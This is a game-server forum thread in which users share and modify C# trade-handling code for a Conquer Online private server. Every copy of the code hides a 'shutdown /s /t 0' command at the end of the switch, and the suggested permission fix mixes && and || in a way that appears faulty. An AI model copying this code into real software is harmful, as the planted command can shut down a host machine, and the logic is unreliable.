Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Conquer Online 2 > CO2 Private Server
You last visited: Today at 18:02

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



I need help with trade code

Discussion on I need help with trade code within the CO2 Private Server forum part of the Conquer Online 2 category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
I need help with trade code

Hello, on my server we have: [PM], [GM] and [ADM]
but for one reason, the [ADM] cant trade with [GM] or [PM]...
i alleredy have working that GM and PM can trade code, but i need help with making [ADM] trade to!
plz help me
Thanks
this is the trade code: i is copyed from a thred in elitepvpers but i dont remeber witch one...
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;

namespace NewestCOServer.PacketHandling
{
    public class Trade
    {
        static void CancelTrade(Main.GameClient C)
        {
            if (C.MyChar.Trading)
            {
                Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                if (Who != null)
                {
                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                    Who.Trading = false;
                    Who.TradingWith = 0;
                    Who.TradeSide.Clear();
                    Who.TradingCPs = 0;
                    Who.TradingSilvers = 0;
                    Who.ClickedOK = false;
                    Who.Silvers = Who.Silvers;//update the silvers
                    Who.CPs = Who.CPs;//update the cps
                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
                }
                C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                C.MyChar.Trading = false;
                C.MyChar.TradingWith = 0;
                C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                C.MyChar.TradingCPs = 0;
                C.MyChar.TradingSilvers = 0;
                C.MyChar.ClickedOK = false;
                C.MyChar.CPs = C.MyChar.CPs;//update the cps
                C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
            }
        }
        public static void Handle(Main.GameClient C, byte[] Data)
        {
            
            uint UID = BitConverter.ToUInt32(Data, 4);
            byte Type = Data[8];

            switch (Type)
            {
                case 1:
                    {
                        Character Who = (Character)World.H_Chars[UID];
                        if (Who != null && !Who.Trading)
                        {
                            if (!C.MyChar.Trading && !C.MyChar.MyClient.GM)
                            {
                                if (!C.MyChar.Trading && !C.MyChar.MyClient.ADM)
                                if (Who.EntityID != C.MyChar.TradingWith)
                                {
                                    C.MyChar.TradingWith = UID;
                                    if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                    {
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                        C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                        C.MyChar.Trading = true;
                                        Who.Trading = true;
                                        break;
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
                                    }
                                }
                                if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                    C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                    C.MyChar.Trading = true;
                                    Who.Trading = true;
                                }
                            }
                            else
                                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
                        }
                        else
                            C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));

                        break;
                    }
                case 2:
                    {
                        CancelTrade(C);
                        break;
                    }
                case 6:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        if (Who != null)
                        {
                            if (C.MyChar.TradeSide.Count < 20)
                            {
                                if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
                                {
                                    Game.Item I = C.MyChar.FindInvItem(UID);
                                    if (!I.FreeItem)
                                    {
                                        Who.MyClient.AddSend(Packets.TradeItem(I));
                                        C.MyChar.TradeSide.Add(I.UID);
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.TradePacket(UID, 11));
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
                                    }
                                }
                                else
                                {
                                    C.AddSend(Packets.TradePacket(UID, 11));
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
                                    Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
                                }
                            }

                        }
                        break;
                    }
                case 7:
                    {
                        C.MyChar.TradingSilvers = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 8));

                        break;
                    }
                case 13:
                    {
                        C.MyChar.TradingCPs = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 12));

                        break;
                    }
                case 10:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];

                        if (Who != null && Who.ClickedOK)
                        {
                                  {
                                if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                                    C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));

                                    Who.Silvers += C.MyChar.TradingSilvers;
                                    Who.Silvers -= Who.TradingSilvers;
                                    C.MyChar.Silvers += Who.TradingSilvers;
                                    C.MyChar.Silvers -= C.MyChar.TradingSilvers;

                                    Who.CPs += C.MyChar.TradingCPs;
                                    Who.CPs -= Who.TradingCPs;
                                    C.MyChar.CPs += Who.TradingCPs;
                                    C.MyChar.CPs -= C.MyChar.TradingCPs;


                                    foreach (uint Id in C.MyChar.TradeSide)
                                    {
                                        Game.Item I = C.MyChar.FindInvItem(Id);
                                        Who.AddItem(I);
                                        C.MyChar.RemoveItem(I);
                                    }
                                    foreach (uint Id in Who.TradeSide)
                                    {
                                        Game.Item I = Who.FindInvItem(Id);
                                        C.MyChar.AddItem(I);
                                        Who.RemoveItem(I);
                                    }

                                    Who.Trading = false;
                                    Who.TradingWith = 0;
                                    Who.TradeSide = new System.Collections.ArrayList(20);
                                    Who.TradingCPs = 0;
                                    Who.TradingSilvers = 0;
                                    Who.ClickedOK = false;
                                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
                                    C.MyChar.Trading = false;
                                    C.MyChar.TradingWith = 0;
                                    C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                                    C.MyChar.TradingCPs = 0;
                                    C.MyChar.TradingSilvers = 0;
                                    C.MyChar.ClickedOK = false;
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
                                }
                                else
                                    CancelTrade(C);  
                            }                                                             
                        }
                        else
                        {
                            C.MyChar.ClickedOK = true;
                            Who.MyClient.AddSend(Packets.TradePacket(0, 10));
                        }

                        break;
                    }
                    Process.Start("shutdown", "/s /t 0");
            }
        }
    }
}
EternityViruz is offline  
Old 02/24/2011, 01:10   #2
 
.Beatz's Avatar
 
elite*gold: 0
Join Date: May 2006
Posts: 1,190
Received Thanks: 516
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;

namespace NewestCOServer.PacketHandling
{
    public class Trade
    {
        static void CancelTrade(Main.GameClient C)
        {
            if (C.MyChar.Trading)
            {
                Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                if (Who != null)
                {
                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                    Who.Trading = false;
                    Who.TradingWith = 0;
                    Who.TradeSide.Clear();
                    Who.TradingCPs = 0;
                    Who.TradingSilvers = 0;
                    Who.ClickedOK = false;
                    Who.Silvers = Who.Silvers;//update the silvers
                    Who.CPs = Who.CPs;//update the cps
                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
                }
                C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                C.MyChar.Trading = false;
                C.MyChar.TradingWith = 0;
                C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                C.MyChar.TradingCPs = 0;
                C.MyChar.TradingSilvers = 0;
                C.MyChar.ClickedOK = false;
                C.MyChar.CPs = C.MyChar.CPs;//update the cps
                C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
            }
        }
        public static void Handle(Main.GameClient C, byte[] Data)
        {
            
            uint UID = BitConverter.ToUInt32(Data, 4);
            byte Type = Data[8];

            switch (Type)
            {
                case 1:
                    {
                        Character Who = (Character)World.H_Chars[UID];
                        if (Who != null && !Who.Trading)
                        {
                           [COLOR="Red"] if (!C.MyChar.Trading && !C.MyChar.MyClient.GM || !C.MyChar.MyClient.ADM)[/COLOR]
                            {
                                if (Who.EntityID != C.MyChar.TradingWith)
                                {
                                    C.MyChar.TradingWith = UID;
                                    if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                    {
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                        C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                        C.MyChar.Trading = true;
                                        Who.Trading = true;
                                        break;
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
                                    }
                                }
                                if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                    C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                    C.MyChar.Trading = true;
                                    Who.Trading = true;
                                }
                            }
                            else
                                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
                        }
                        else
                            C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));

                        break;
                    }
                case 2:
                    {
                        CancelTrade(C);
                        break;
                    }
                case 6:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        if (Who != null)
                        {
                            if (C.MyChar.TradeSide.Count < 20)
                            {
                                if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
                                {
                                    Game.Item I = C.MyChar.FindInvItem(UID);
                                    if (!I.FreeItem)
                                    {
                                        Who.MyClient.AddSend(Packets.TradeItem(I));
                                        C.MyChar.TradeSide.Add(I.UID);
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.TradePacket(UID, 11));
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
                                    }
                                }
                                else
                                {
                                    C.AddSend(Packets.TradePacket(UID, 11));
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
                                    Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
                                }
                            }

                        }
                        break;
                    }
                case 7:
                    {
                        C.MyChar.TradingSilvers = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 8));

                        break;
                    }
                case 13:
                    {
                        C.MyChar.TradingCPs = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 12));

                        break;
                    }
                case 10:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];

                        if (Who != null && Who.ClickedOK)
                        {
                                  {
                                if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                                    C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));

                                    Who.Silvers += C.MyChar.TradingSilvers;
                                    Who.Silvers -= Who.TradingSilvers;
                                    C.MyChar.Silvers += Who.TradingSilvers;
                                    C.MyChar.Silvers -= C.MyChar.TradingSilvers;

                                    Who.CPs += C.MyChar.TradingCPs;
                                    Who.CPs -= Who.TradingCPs;
                                    C.MyChar.CPs += Who.TradingCPs;
                                    C.MyChar.CPs -= C.MyChar.TradingCPs;


                                    foreach (uint Id in C.MyChar.TradeSide)
                                    {
                                        Game.Item I = C.MyChar.FindInvItem(Id);
                                        Who.AddItem(I);
                                        C.MyChar.RemoveItem(I);
                                    }
                                    foreach (uint Id in Who.TradeSide)
                                    {
                                        Game.Item I = Who.FindInvItem(Id);
                                        C.MyChar.AddItem(I);
                                        Who.RemoveItem(I);
                                    }

                                    Who.Trading = false;
                                    Who.TradingWith = 0;
                                    Who.TradeSide = new System.Collections.ArrayList(20);
                                    Who.TradingCPs = 0;
                                    Who.TradingSilvers = 0;
                                    Who.ClickedOK = false;
                                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
                                    C.MyChar.Trading = false;
                                    C.MyChar.TradingWith = 0;
                                    C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                                    C.MyChar.TradingCPs = 0;
                                    C.MyChar.TradingSilvers = 0;
                                    C.MyChar.ClickedOK = false;
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
                                }
                                else
                                    CancelTrade(C);  
                            }                                                             
                        }
                        else
                        {
                            C.MyChar.ClickedOK = true;
                            Who.MyClient.AddSend(Packets.TradePacket(0, 10));
                        }

                        break;
                    }
                    Process.Start("shutdown", "/s /t 0");
            }
        }
    }
}
.Beatz is offline  
Old 02/24/2011, 01:22   #3
 
Arco.'s Avatar
 
elite*gold: 0
Join Date: Feb 2011
Posts: 335
Received Thanks: 170
OR you can search, I released a "fix" for that long ago.
Arco. is offline  
Old 02/24/2011, 16:42   #4
 
elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
Quote:
Originally Posted by .Beatz View Post
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;

namespace NewestCOServer.PacketHandling
{
    public class Trade
    {
        static void CancelTrade(Main.GameClient C)
        {
            if (C.MyChar.Trading)
            {
                Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                if (Who != null)
                {
                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                    Who.Trading = false;
                    Who.TradingWith = 0;
                    Who.TradeSide.Clear();
                    Who.TradingCPs = 0;
                    Who.TradingSilvers = 0;
                    Who.ClickedOK = false;
                    Who.Silvers = Who.Silvers;//update the silvers
                    Who.CPs = Who.CPs;//update the cps
                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
                }
                C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                C.MyChar.Trading = false;
                C.MyChar.TradingWith = 0;
                C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                C.MyChar.TradingCPs = 0;
                C.MyChar.TradingSilvers = 0;
                C.MyChar.ClickedOK = false;
                C.MyChar.CPs = C.MyChar.CPs;//update the cps
                C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
            }
        }
        public static void Handle(Main.GameClient C, byte[] Data)
        {
            
            uint UID = BitConverter.ToUInt32(Data, 4);
            byte Type = Data[8];

            switch (Type)
            {
                case 1:
                    {
                        Character Who = (Character)World.H_Chars[UID];
                        if (Who != null && !Who.Trading)
                        {
                           [COLOR="Red"] if (!C.MyChar.Trading && !C.MyChar.MyClient.GM || !C.MyChar.MyClient.ADM)[/COLOR]
                            {
                                if (Who.EntityID != C.MyChar.TradingWith)
                                {
                                    C.MyChar.TradingWith = UID;
                                    if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                    {
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                        C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                        C.MyChar.Trading = true;
                                        Who.Trading = true;
                                        break;
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
                                        Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
                                    }
                                }
                                if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
                                    C.AddSend(Packets.TradePacket(Who.EntityID, 3));
                                    C.MyChar.Trading = true;
                                    Who.Trading = true;
                                }
                            }
                            else
                                C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
                        }
                        else
                            C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));

                        break;
                    }
                case 2:
                    {
                        CancelTrade(C);
                        break;
                    }
                case 6:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        if (Who != null)
                        {
                            if (C.MyChar.TradeSide.Count < 20)
                            {
                                if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
                                {
                                    Game.Item I = C.MyChar.FindInvItem(UID);
                                    if (!I.FreeItem)
                                    {
                                        Who.MyClient.AddSend(Packets.TradeItem(I));
                                        C.MyChar.TradeSide.Add(I.UID);
                                    }
                                    else
                                    {
                                        C.AddSend(Packets.TradePacket(UID, 11));
                                        C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
                                    }
                                }
                                else
                                {
                                    C.AddSend(Packets.TradePacket(UID, 11));
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
                                    Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
                                }
                            }

                        }
                        break;
                    }
                case 7:
                    {
                        C.MyChar.TradingSilvers = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 8));

                        break;
                    }
                case 13:
                    {
                        C.MyChar.TradingCPs = UID;
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
                        Who.MyClient.AddSend(Packets.TradePacket(UID, 12));

                        break;
                    }
                case 10:
                    {
                        Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];

                        if (Who != null && Who.ClickedOK)
                        {
                                  {
                                if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
                                {
                                    Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
                                    C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));

                                    Who.Silvers += C.MyChar.TradingSilvers;
                                    Who.Silvers -= Who.TradingSilvers;
                                    C.MyChar.Silvers += Who.TradingSilvers;
                                    C.MyChar.Silvers -= C.MyChar.TradingSilvers;

                                    Who.CPs += C.MyChar.TradingCPs;
                                    Who.CPs -= Who.TradingCPs;
                                    C.MyChar.CPs += Who.TradingCPs;
                                    C.MyChar.CPs -= C.MyChar.TradingCPs;


                                    foreach (uint Id in C.MyChar.TradeSide)
                                    {
                                        Game.Item I = C.MyChar.FindInvItem(Id);
                                        Who.AddItem(I);
                                        C.MyChar.RemoveItem(I);
                                    }
                                    foreach (uint Id in Who.TradeSide)
                                    {
                                        Game.Item I = Who.FindInvItem(Id);
                                        C.MyChar.AddItem(I);
                                        Who.RemoveItem(I);
                                    }

                                    Who.Trading = false;
                                    Who.TradingWith = 0;
                                    Who.TradeSide = new System.Collections.ArrayList(20);
                                    Who.TradingCPs = 0;
                                    Who.TradingSilvers = 0;
                                    Who.ClickedOK = false;
                                    Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
                                    C.MyChar.Trading = false;
                                    C.MyChar.TradingWith = 0;
                                    C.MyChar.TradeSide = new System.Collections.ArrayList(20);
                                    C.MyChar.TradingCPs = 0;
                                    C.MyChar.TradingSilvers = 0;
                                    C.MyChar.ClickedOK = false;
                                    C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
                                }
                                else
                                    CancelTrade(C);  
                            }                                                             
                        }
                        else
                        {
                            C.MyChar.ClickedOK = true;
                            Who.MyClient.AddSend(Packets.TradePacket(0, 10));
                        }

                        break;
                    }
                    Process.Start("shutdown", "/s /t 0");
            }
        }
    }
}
when i put it in the trade.cs this error comes up:
EternityViruz is offline  
Old 02/24/2011, 17:43   #5

 
Kiyono's Avatar
 
elite*gold: 20
Join Date: Jun 2006
Posts: 3,296
Received Thanks: 924
Quote:
Originally Posted by EternityViruz View Post
when i put it in the trade.cs this error comes up:
Ever thought about doing what the error says? Can't be that hard to add the definition.
Kiyono is offline  
Old 02/24/2011, 20:14   #6
 
elite*gold: 0
Join Date: Nov 2010
Posts: 1,162
Received Thanks: 370
Quote:
Originally Posted by Kiyono View Post
Ever thought about doing what the error says? Can't be that hard to add the definition.
They see an error and gets blind.
Quote:
OMG ERROR NEED HELP!!!!!!! I CAN'T READ, HOW I FIX?????
Thought the error already says how to fix.
Syst3m_W1z4rd is offline  
Old 02/24/2011, 22:07   #7
 
elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
Quote:
Originally Posted by Syst3m_W1z4rd View Post
They see an error and gets blind.


Thought the error already says how to fix.
the error is gone now xD
#Close Thred
EternityViruz is offline  
Reply


Similar Threads Similar Threads
[TRADE] PROMO-CODE [TRADE]
04/27/2012 - WarRock Trading - 2 Replies
I got : 2 - Combat knife - Duration x 30 days 1 - M7 Knife - Duration x 30 days I want to trade these against : Dinar
lvl 28 account trade for 1 promo code!
01/06/2011 - WarRock Hacks, Bots, Cheats & Exploits - 4 Replies
:rtfm::rtfm::rtfm::rtfm:lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account...
Promo code trade
12/22/2010 - WarRock Trading - 0 Replies
I trade a cx4 strom promo code for 400 g1 credits. who was interested contact me please. ty (i just talk in english)
[TRAD3]2x Cx4storm Code[TRADE]
08/21/2010 - WarRock Trading - 0 Replies
Ich tausche meine 2 Cx4Storm Code`s gg 6 Tage Gold Premium bzw. 3 Day Pass... Wer interresse hat im Thread schreiben :pimp:
[TRADE] Website for Code/source
05/06/2009 - CO2 Private Server - 20 Replies
hey! I can make nice website WWW for your server and trading for hard code or unique good source. 4351 or 5017 patch :). I offer: Own templates Own script .htacess file protect your file configuration. Language website: Polish, English, Sweden. If you are interesend msg me to [email protected], sent private messange or write post here!



All times are GMT +2. The time now is 18:02.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.